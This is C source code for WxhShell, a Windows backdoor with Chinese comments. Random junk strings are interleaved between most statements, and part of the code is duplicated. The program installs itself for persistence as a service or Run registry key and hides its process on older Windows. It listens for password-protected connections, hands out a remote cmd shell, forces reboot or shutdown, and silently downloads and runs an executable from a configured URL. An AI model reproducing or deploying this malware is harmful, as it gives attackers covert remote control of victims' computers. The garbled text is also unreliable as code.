(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |58HPW9 !ZYPz}&N_ if (!NtQueryInformationProcess) return 0; `x[Is$ 8W\yM;' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _}R[mr/ if(!hProcess) return 0; zt(lV 6:ettdj if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ).SJ*Re*^I r/j:A#6M]o CloseHandle(hProcess); @NL cO} gM&IV{k3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K~TwyB-h if(hProcess==NULL) return 0; e&}W# IfK~~XYG HMODULE hMod; =-h^j char procName[255]; Y[{:?i~9, unsigned long cbNeeded; SYCL\b -&1(~7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nkW})LyB\ vI{aF-
# CloseHandle(hProcess); (pxH<k=Ah !T{+s
T if(strstr(procName,"services")) return 1; // 以服务启动 QyD0WC}i 'hpOpIsHa return 0; // 注册表启动 +%JBr+1#\ } 'C1lP)S5 ytZ o0pad // 主模块 kxMvOB$ int StartWxhshell(LPSTR lpCmdLine) paqGW] { *N">93: SOCKET wsl; =;rLv7(a BOOL val=TRUE; SqM>xm int port=0; \^!;r 9z=A struct sockaddr_in door; J9Ao*IW~ 1BSd9Ydj if(wscfg.ws_autoins) Install(); B9maz"lJ XO+BZB`F port=atoi(lpCmdLine); mUBy*. 2q~.,vpP if(port<=0) port=wscfg.ws_port; \SWTP1 *uc/| c WSADATA data; IO\l8G if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^A$=6=CX DrJ?bG;[ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; UA>=#
$ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); u]yy%@U1 door.sin_family = AF_INET; "q=Cye door.sin_addr.s_addr = inet_addr("127.0.0.1");
(dy(.4W\ door.sin_port = htons(port); pbH!u+DF jIol`WX if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?qgQ)#6 closesocket(wsl); a(gXvgrf[ return 1; [o)K1>>7 } F@BpAl Xw?DN*`L if(listen(wsl,2) == INVALID_SOCKET) { nK>CPqB^( closesocket(wsl); YX$(Sc3.6 return 1; )~
(*q } _@DOH2lXJ Wxhshell(wsl); yf&g\ke WSACleanup(); O^L]2BVC i2=- su return 0; W/Dd7G#IC L@N%S Sf } D=e*rrL7a 8y
LcTA$T // 以NT服务方式启动 }]x \ `}o VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /K:r4Kw { }Fe6L;^; DWORD status = 0; @{Rb]d?&F? DWORD specificError = 0xfffffff; ZQ`8RF *v -xn-Af!v serviceStatus.dwServiceType = SERVICE_WIN32; Z-iU7 O serviceStatus.dwCurrentState = SERVICE_START_PENDING; %7#<K\]) serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;UQGi}?CD serviceStatus.dwWin32ExitCode = 0; %_(vSpk serviceStatus.dwServiceSpecificExitCode = 0; FM{f{2j serviceStatus.dwCheckPoint = 0; 6jq*lnA% serviceStatus.dwWaitHint = 0; ;uBGB
h< w1/QnV hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oD2:19M@p if (hServiceStatusHandle==0) return; _{[6hf4p 6}"%>9 status = GetLastError(); )+_Vx}O:} if (status!=NO_ERROR) ?P
kJG,~ { wC1pfXa serviceStatus.dwCurrentState = SERVICE_STOPPED; _*mn4n= serviceStatus.dwCheckPoint = 0; P5Xp #pa serviceStatus.dwWaitHint = 0; $qNF /rF serviceStatus.dwWin32ExitCode = status; IiPX`V>RC serviceStatus.dwServiceSpecificExitCode = specificError; [\8rh^LFi SetServiceStatus(hServiceStatusHandle, &serviceStatus); VGS%U8; return; L!}!k N:? } <ToS& CIW4E serviceStatus.dwCurrentState = SERVICE_RUNNING; 6.@.k serviceStatus.dwCheckPoint = 0; m{IlRf' serviceStatus.dwWaitHint = 0; zMSwU]4I! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); R{g=
N%O } ;K<VT\ wm5&5F4: // 处理NT服务事件,比如:启动、停止 I}`pY3 VOID WINAPI NTServiceHandler(DWORD fdwControl) u
r$ { x@NfN*?/+i switch(fdwControl) .p[uIRd` { Kb; *"@LX case SERVICE_CONTROL_STOP: WtOjPW serviceStatus.dwWin32ExitCode = 0; g}_2T\$k serviceStatus.dwCurrentState = SERVICE_STOPPED; %1?t)Bg serviceStatus.dwCheckPoint = 0; Z(MZbzY7Hq serviceStatus.dwWaitHint = 0; CFpBosoFt^ { j.=:S; SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Yt|Wj } T`#nn| return; yYz{*hq case SERVICE_CONTROL_PAUSE: |`T7}U serviceStatus.dwCurrentState = SERVICE_PAUSED; -.D?Z8e break; v=k+MvX case SERVICE_CONTROL_CONTINUE: i}m'#b serviceStatus.dwCurrentState = SERVICE_RUNNING; d{fd5jv; break; lR?y
tIY case SERVICE_CONTROL_INTERROGATE: !tq]kKJ3: break;
5226&N }; |8` }8vo) SetServiceStatus(hServiceStatusHandle, &serviceStatus); ex>7f%\ } 9\8ektq}Z V( ELrjB0 // 标准应用程序主函数 xlv(PVdn int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Gu$/rb? { cH_qHXi[G +`d92T z // 获取操作系统版本 |f_'(-v`E OsIsNt=GetOsVer(); c.>f,vtcn GetModuleFileName(NULL,ExeFile,MAX_PATH); >Na. C(DZ &M|rRd~* // 从命令行安装 /stvNIEa if(strpbrk(lpCmdLine,"iI")) Install(); 8a6.77c }?2X
q // 下载执行文件 \(Ma>E4PNU if(wscfg.ws_downexe) { @X/ 1`Mp if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }3lG'Y#Kpy WinExec(wscfg.ws_filenam,SW_HIDE); 3zsp6k V } JD*HG] OY1bFIE if(!OsIsNt) { @Ou
H=<YN // 如果时win9x,隐藏进程并且设置为注册表启动 Cu@q*:' HideProc(); , Q0Y} ) StartWxhshell(lpCmdLine); ?`+VWa[,e } \GEz.Vb else :!Ci#[g if(StartFromService()) OU{c|O // 以服务方式启动 uH\EV`@' StartServiceCtrlDispatcher(DispatchTable); `+w= p7ET else P00G*iY~\ // 普通方式启动 U$2Em0HO} StartWxhshell(lpCmdLine); k|OM?\ SPqJ
[F return 0; uO4
LD}A } 3eY>LWx 'xS@cFo( |X@s {? vA6`};| =========================================== ;Z*rY?v eg;r38 z}-CU GS gdIk%m4 /Xi21W/ 3P!OP{` " X3sAy(q (Z<@dkO?) #include <stdio.h> <lzC|>BG #include <string.h> OV{v6,>O #include <windows.h> :2j`NyLI. #include <winsock2.h> K~#?Y,}O #include <winsvc.h> &0kr[Ik. #include <urlmon.h> 7c\W&ZEmb- A.*e8a/6X #pragma comment (lib, "Ws2_32.lib") Rxdj}xy #pragma comment (lib, "urlmon.lib") g=mKTk 4}C
\N #define MAX_USER 100 // 最大客户端连接数 L9) gN.# #define BUF_SOCK 200 // sock buffer y],opG6 #define KEY_BUFF 255 // 输入 buffer vyS>3(NZ =cRmaD #define REBOOT 0 // 重启 2Pb+/1*ix #define SHUTDOWN 1 // 关机 kk5&lak2V >r`O@`^U #define DEF_PORT 5000 // 监听端口 2#NnA3l]x% ObM/~{rKx #define REG_LEN 16 // 注册表键长度 {aA6b #define SVC_LEN 80 // NT服务名长度 <,$*(dX)( !,ODczWvh // 从dll定义API <Y6Vfee,& typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "]jN'N(. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G+#bO5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tD`^qMua typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }Bv1fbD4U o|>=<l // wxhshell配置信息 ="]lN struct WSCFG { |8E~C~d int ws_port; // 监听端口 r.)n>
char ws_passstr[REG_LEN]; // 口令 yLf9cS6= int ws_autoins; // 安装标记, 1=yes 0=no
!RJ@;S char ws_regname[REG_LEN]; // 注册表键名 ItLR|LO9 char ws_svcname[REG_LEN]; // 服务名 l!}gWd,H char ws_svcdisp[SVC_LEN]; // 服务显示名 AyQ5jkIE^{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 vRtERFL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,R=!ts[qi int ws_downexe; // 下载执行标记, 1=yes 0=no -W6@[5 c char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sDs.da#*2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;|K
} 'bRf>= }; Pz*BuL< wmV=GV8 d // default Wxhshell configuration '{0O!y[H6 struct WSCFG wscfg={DEF_PORT, X"3p/!W.4 "xuhuanlingzhe", @|;[
;:h@ 1, +o3n%( ^~ "Wxhshell", {8mJ<b>VA "Wxhshell", }WJXQ@ "WxhShell Service", T$mT;k "Wrsky Windows CmdShell Service", N@_y<7#C "Please Input Your Password: ", r;b `@
. 1, Y->sJm "http://www.wrsky.com/wxhshell.exe", )0I-N) "Wxhshell.exe" +|;Ri68 }; G8]{pbX !^Ay! // 消息定义模块 oeKl\cgFx char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sRLjKi2D char *msg_ws_prompt="\n\r? for help\n\r#>"; lq-F*r\/~+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DEu0Z char *msg_ws_ext="\n\rExit."; !0^4D=dO char *msg_ws_end="\n\rQuit."; CD`6R. char *msg_ws_boot="\n\rReboot..."; c\[&IlM char *msg_ws_poff="\n\rShutdown..."; l9/}fMi char *msg_ws_down="\n\rSave to "; cq]0|\Vz OLF6["0Rn char *msg_ws_err="\n\rErr!"; t{UWb~" char *msg_ws_ok="\n\rOK!"; 8yYag[m8 aPe*@py3T char ExeFile[MAX_PATH]; Nq9pory^ int nUser = 0; >r)UDa+ HANDLE handles[MAX_USER]; JoB-&r}\V* int OsIsNt; b"@-9ke5I 6`7`herE} SERVICE_STATUS serviceStatus; 3\{acm SERVICE_STATUS_HANDLE hServiceStatusHandle; Te!eM{_$T x!85P\sm // 函数声明 {|%^'lS int Install(void); -A}$5/ int Uninstall(void); g<F+Ldgj
int DownloadFile(char *sURL, SOCKET wsh); B4*,]lS? int Boot(int flag);
cMtUb void HideProc(void); 7^)yo#i4 int GetOsVer(void); ?N+pWdi int Wxhshell(SOCKET wsl); F*z>B >{) void TalkWithClient(void *cs); FME,W&_d int CmdShell(SOCKET sock); ZHwN3 int StartFromService(void); Grw[h int StartWxhshell(LPSTR lpCmdLine); \p\p~FVS K\RMX?YsP VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f[`&3+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); D}{]5R (.z0.0W // 数据结构和表定义 U/HF6=Wot SERVICE_TABLE_ENTRY DispatchTable[] = V LeYO5'L { t
~]'
{[F {wscfg.ws_svcname, NTServiceMain}, 6P9#6mZ {NULL, NULL} va(6?"9 }; cjLA7I.O BB/c5?V // 自我安装 vPZ0?r_5W int Install(void) hOqNZ66{ { HA$7Q~{N-t char svExeFile[MAX_PATH]; cy8r}wD HKEY key; gpbdK? strcpy(svExeFile,ExeFile); e'v_eD T^ Mu" vj*F // 如果是win9x系统,修改注册表设为自启动 g p9;I*! if(!OsIsNt) { VK%ExMSqEh if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { su60j^e* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m*e8j[w# RegCloseKey(key); C3<_0eI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]G!
APE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'oBv(H RegCloseKey(key); za.^vwkBk2 return 0; /HSg) } =(<7o_gJ } @71y:)W< } >
JTf0/ else { dDYor-g> sWq}/!@& // 如果是NT以上系统,安装为系统服务 -|czhO)R SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F9IPA% if (schSCManager!=0) $reQdN=~ { o}D7 $6 SC_HANDLE schService = CreateService Ko0T[TNkh ( Ej@N}r>X schSCManager, C0>)WVCK wscfg.ws_svcname, 5tVg++I wscfg.ws_svcdisp, "LZv\c~v,% SERVICE_ALL_ACCESS, 3\B~`=*q/ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LKud' SERVICE_AUTO_START, !?B2OE SERVICE_ERROR_NORMAL, @nj`T{*. svExeFile, &4p~i Z NULL, ?G5,x NULL, T< <N U"n NULL, 61b<6r0o NULL, 'Te'wh=Y NULL eYg0NEq{ ); lzz68cT if (schService!=0) =*WfS^O { fb!>@@9Z CloseServiceHandle(schService); 8L))@SA+uJ CloseServiceHandle(schSCManager); w (,x{Bg\ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yAJrdY" strcat(svExeFile,wscfg.ws_svcname); %)r1?H} #% if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y$|OE%S RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y= 1(o3( RegCloseKey(key); ,ce$y4%( return 0; 7ws[Rp8 } ;p(Doy)i } BLo=@C%w5 CloseServiceHandle(schSCManager); "L)?dlb6T } Nu}Zsb|{ } !`dn# j rIj B{X{Z return 1;
({t6Cbw } ( 2KopL |uA /72 // 自我卸载 {'zs4)vw int Uninstall(void) L<N=,~ { $I3}%'`+ HKEY key; }Do$oyAV$G V#-8[G6Ra if(!OsIsNt) { 4L2TsuLw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lHgmljn5u RegDeleteValue(key,wscfg.ws_regname); `9VRT`e RegCloseKey(key); wIQt
f|ZI> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M0MvOO*ad RegDeleteValue(key,wscfg.ws_regname); DB+.< RegCloseKey(key); yu'@gg(
return 0; O/f+B}W } Ar$Am } y-:d`>b>\ } (M t-2+"+ else { f@xjNm*'Z &m@DK> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v}"DW? if (schSCManager!=0) DIc -"5~ { Czd)AVK
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^pvnUODW[ if (schService!=0) ^{+_PWn { ?w "zW6U if(DeleteService(schService)!=0) { Mg{=(No CloseServiceHandle(schService); 1&YkRCn0 CloseServiceHandle(schSCManager); pU@&- return 0; $C&E3 'O } SfwNNX% CloseServiceHandle(schService); p w`YMk } 3gba~}c) CloseServiceHandle(schSCManager); +C[%^G-: } O>2i)M-h9x } <SNu`,/I (yhnv Z return 1; MvlqxJ$ } oei2$uu #;>v,Jo // 从指定url下载文件 ]KRw[}z int DownloadFile(char *sURL, SOCKET wsh) 2xpI|+a% { |VML.u:N HRESULT hr; n ]P,5 char seps[]= "/"; ]hi5nA char *token; j |ZhGerp char *file; JE/Kf< char myURL[MAX_PATH]; 10e~Yc char myFILE[MAX_PATH]; 1ihdH1rg[ [-JU(:Rh strcpy(myURL,sURL); zM|Y
X< token=strtok(myURL,seps); C.9l${QU while(token!=NULL) ABnJ{$=n# { %pImCpMR file=token; 6n$g73u<=3 token=strtok(NULL,seps); Z {*<Gx } ?hnxc0~P :PDyc(s{ GetCurrentDirectory(MAX_PATH,myFILE); E(Y}*.\]#s strcat(myFILE, "\\"); XlU`jv+ strcat(myFILE, file); W v!%'IB send(wsh,myFILE,strlen(myFILE),0); ]*vv=@"`e send(wsh,"...",3,0); 4xD`Z_U hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :5BVVa0oR if(hr==S_OK) QNgfvy return 0; 4Yya+[RY else 8~8VoU& return 1; #\$AB_[ot> y^hCO:`l3 } p`06%"# Lk1e{!a // 系统电源模块 NuC+iC$_/ int Boot(int flag) 4jdP3Q/ { me&'BQ HANDLE hToken; 2"!s8x1$ TOKEN_PRIVILEGES tkp; K)F6TvWv Z+G/==%3#, if(OsIsNt) { S;I}:F#5 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e4(E!;Z!QF LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZA6)@Mn tkp.PrivilegeCount = 1; MPD<MaW$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xv>]e <": AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Alpk5o5B if(flag==REBOOT) { ='<789wT if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QNm8`1 return 0; j)b[7% } `ehcj
G1nY else { i9j#Tu93 f if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fu $<*Sa2 return 0; D
$3Mg } 6$A>%Jtwe } "TP^:Ln else { GEUC<bL+ if(flag==REBOOT) { S<UWv@`U" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Z2D^] return 0; @PAT|6 } 2*ByVK else { HGlQZwf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .l$:0a return 0; h0)Dj(C } k}FmdaPI' } I::|d,bR! |!E: [UH return 1; JBt2R= } $bsD'Io S>V+IKW;( // win9x进程隐藏模块 I> BGp4 AQ void HideProc(void) T?HW=v_a { }YCpd )@ 0<#>LWaM_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GYwU3`{ if ( hKernel != NULL ) jcL%_of { FDCc?>,o pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); On-zbE ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X_aC$_b FreeLibrary(hKernel); Yh2[
nF_ } G[$g-NU+ ! N'HL-oT return; |Q?^B a } XDohfa_ N`et]'_A} // 获取操作系统版本 ce:p* int GetOsVer(void) ;{89 *e*) { " `FcW OSVERSIONINFO winfo; jIi:tO9G^, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wGg_ vAn GetVersionEx(&winfo); yXT8:2M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ra/Pk G-7 return 1; VDTt}J 8 else 7m:ZG return 0; (NC]S } b|oT!s #gsJ
tT9 // 客户端句柄模块 cPy/}A int Wxhshell(SOCKET wsl) {ep(_1 { Oe
~g[I; SOCKET wsh; xtO#reL"q? struct sockaddr_in client; yc+pNC)ue_ DWORD myID; ~sT1J| {2F@OfuCF while(nUser<MAX_USER) J"~!jrzBh( { LY;FjbyU int nSize=sizeof(client); 6|n3e,&A2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o2~P
vef if(wsh==INVALID_SOCKET) return 1; Dl@Jj?zc `3yK<- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z@,[a if(handles[nUser]==0) d$hBgJe>N closesocket(wsh); Q|xa:`3? else *}) W> nUser++; GRh430V[ } |p.|zH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); JIPBJ w)C5XX30; return 0; S#:l17e3 } N@0cn
q:" c{
([U // 关闭 socket rXP~k]tC void CloseIt(SOCKET wsh) _;M3=MTM9 { F:N8{puq5 closesocket(wsh); D$N;Qb nUser--; =;"=o5g_ ExitThread(0); 8W Etm} } 1xI YS:p(jtd // 客户端请求句柄 =;Dj[<mJ45 void TalkWithClient(void *cs) y*%uGG5 { Wh)!Ha} f@[qS7ok SOCKET wsh=(SOCKET)cs; R.!.7dO char pwd[SVC_LEN]; %Ai' 6 char cmd[KEY_BUFF]; _&%FGcAS char chr[1]; T@A Qe[U'v int i,j; F?^L^N^ :gO5#HIm while (nUser < MAX_USER) { />6ECT &~=r .T if(wscfg.ws_passstr) { Zm0' p! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gxx#<=` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1YK(oRSDn //ZeroMemory(pwd,KEY_BUFF); [5!dO\-[ i=0; (9R;-3vY:S while(i<SVC_LEN) { Gk]ZP31u 2+_a<5l~ // 设置超时 ,l Y4WO fd_set FdRead; Xv3pKf-K struct timeval TimeOut; TJ1h[ FD_ZERO(&FdRead); PV:J>!] FD_SET(wsh,&FdRead); >n^780S| TimeOut.tv_sec=8; T*nP-b TimeOut.tv_usec=0; A=3L_
#nO int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :bm%f%gg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vA}_x7}n( 4jt(tZS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mRa\ wEg% pwd=chr[0]; 0<O()NMv if(chr[0]==0xd || chr[0]==0xa) { )2_[Ww|. pwd=0; -n8d#Qm) break; 3{fg3? } W.NZ%~|+e/ i++; <{GVA0nr } uFhaN\S A;
wT`c // 如果是非法用户,关闭 socket UWidT+'Sa if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J ZkQ/vp( } LT"H-fTgs a>x6n3{ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /ywP
0 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e[16
7uU z_N";Rn while(1) { ,yA[XAz~U S*$?~4{R ZeroMemory(cmd,KEY_BUFF); {`Gd `CI_zc=jx // 自动支持客户端 telnet标准 2;u
i'B j=0; aydNSgu while(j<KEY_BUFF) { a|"Uw
`pX+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g/fpXO\ cmd[j]=chr[0]; k%FA:ms|k if(chr[0]==0xa || chr[0]==0xd) { +FAj30 cmd[j]=0; s8)`wH? break; ypyKRsx } uZZRFioX| j++; Px&_6}YWy } 1I{8 | "i\#L`TkzX // 下载文件 A&bj l[s if(strstr(cmd,"http://")) { 3 ye send(wsh,msg_ws_down,strlen(msg_ws_down),0); x-e6[_F if(DownloadFile(cmd,wsh)) Lm=;Y6'`N send(wsh,msg_ws_err,strlen(msg_ws_err),0); X fqhD&g else fP V n; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?:ZB'G{%E } c~?Zmdn: else { B+snHabS6 !TJ,:c]4{! switch(cmd[0]) { C!a1.&HHZ7 9&5<ZC-D // 帮助 kJp~'\b case '?': { tw>2<zmSi% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zD79 M break; p*&0d@'r } ?UZt30|1 // 安装 ?)y^ [9 case 'i': { hg(<>_~ if(Install()) AoeRoqg send(wsh,msg_ws_err,strlen(msg_ws_err),0); P0jr>j@^- else yB2h/~+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p.SipQ.P break; z.!N|"4yr } L_NiU;cr% // 卸载 e[fOm0^.c case 'r': { *B"Y]6$ if(Uninstall()) ylKK!vRHT send(wsh,msg_ws_err,strlen(msg_ws_err),0); v$W[( else J6AHc"k. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `(sb break; R<Lf>p>_ } N);w~)MYh // 显示 wxhshell 所在路径 wOl?(w=| case 'p': { WXl+w7jr char svExeFile[MAX_PATH]; )&Oc7\J, strcpy(svExeFile,"\n\r"); 6JDHwV strcat(svExeFile,ExeFile); >w@+cUto send(wsh,svExeFile,strlen(svExeFile),0); DS<1"4 b| break; ?
T6K]~g } OegeZV // 重启 ~0a5 case 'b': { FT@uZWgQ= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M
9t7y if(Boot(REBOOT)) b.&WW send(wsh,msg_ws_err,strlen(msg_ws_err),0); rtRbr_ else { jdP)y]c closesocket(wsh); LdV&G/G-#D ExitThread(0); S{rltT- } rP3HR5 break; 8w&-O~M } UJ)pae // 关机 2gPqB*H case 'd': { DH-M|~.sf^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '7-Yo
Q if(Boot(SHUTDOWN)) %w*)7@,+- send(wsh,msg_ws_err,strlen(msg_ws_err),0); fkBL`[v)4 else { hMDd*<%l closesocket(wsh); 4^tSg#!V{ ExitThread(0); w +t@G`d } hfaU-IPcFX break; )U?_&LY)[M } '4[=*!hs! // 获取shell \^c4v\s<o# case 's': { wZiUzS;v CmdShell(wsh); :$MOdL[ir closesocket(wsh); I6W`yh`I) ExitThread(0); z1PwupXt1 break;
b-&iJ &>' } ;uUFgDi // 退出 :8A+2ra& case 'x': { Ey&H?OFiP send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d;Vy59}eY CloseIt(wsh); G%<}TI1} break; Nr~$i% [ } N{;!xIv // 离开 ;sZG=y@ case 'q': { s[yWBew send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cbw *?9d closesocket(wsh); &AQqI WSACleanup(); Je1d|1!3 exit(1); bbK};u break; lLx!_h } m+kP"]v } {^VtD } W$rWg>4> ~~tTr$ // 提示信息 %ou,|Dww if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); py*22Ua^ } Dcl$? }
wA"@t !Zz;;Z return; $MQ}+*Wr } zX>W 8P { mi}3/ // shell模块句柄 SB_Tzp int CmdShell(SOCKET sock) ]pax,|+$C { ef5)z}B STARTUPINFO si; y_Y(Xx3 ZeroMemory(&si,sizeof(si)); ?"6Zf LRi si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &L;ocd$ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; BUO5g8m{ PROCESS_INFORMATION ProcessInfo; 2ym(fk.6{ char cmdline[]="cmd"; )
7/Cg CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PsY![CPrW return 0; mmAm@/ } Da=EAG-{7 [XfR`@ // 自身启动模式 U
v2.Jo/Q int StartFromService(void) 22`^Rsb,6L { Gm=qn]c typedef struct 9wgB JJl7 { <n2@;`D DWORD ExitStatus; RZOK+!H: DWORD PebBaseAddress; WRh5v8Wz0 DWORD AffinityMask; Jh26!%<Bl DWORD BasePriority; Q]:O#;"< ULONG UniqueProcessId; g{8RPw] ULONG InheritedFromUniqueProcessId; #2{-6ey } PROCESS_BASIC_INFORMATION; +\/Q |3*9+4]a PROCNTQSIP NtQueryInformationProcess; jjs/6sSRk sVLvnX, static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9BCW2@Kp static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
FaL\6w 1^~&"s U HANDLE hProcess; bjZJP\6 PROCESS_BASIC_INFORMATION pbi; o>el"0rn.h z5+Pi:1w HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +HK4sA2; if(NULL == hInst ) return 0; a~$XD(w^ Q#bW"},^k g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9mF' g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K`4rUEf}V" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (!~cOx
h [TwaR if (!NtQueryInformationProcess) return 0; h3ygL" k jh5QIZf= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NVyBEAoh if(!hProcess) return 0; rPV
Q#iB (I[_}l if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ZoW1Cc&p z+"tAVB[i CloseHandle(hProcess); uZqL'l+/y #8$?#
dT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y"Cf84E if(hProcess==NULL) return 0; }V?m
=y [ %b6$N_M{H1 HMODULE hMod; _:x]'w% char procName[255]; i_Kwxn$ unsigned long cbNeeded; i2F7O"f. Ss3p6%V/ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^QK`z@B twT/uBQ4a CloseHandle(hProcess); }0'=}BE 3]Z1kB if(strstr(procName,"services")) return 1; // 以服务启动 N5
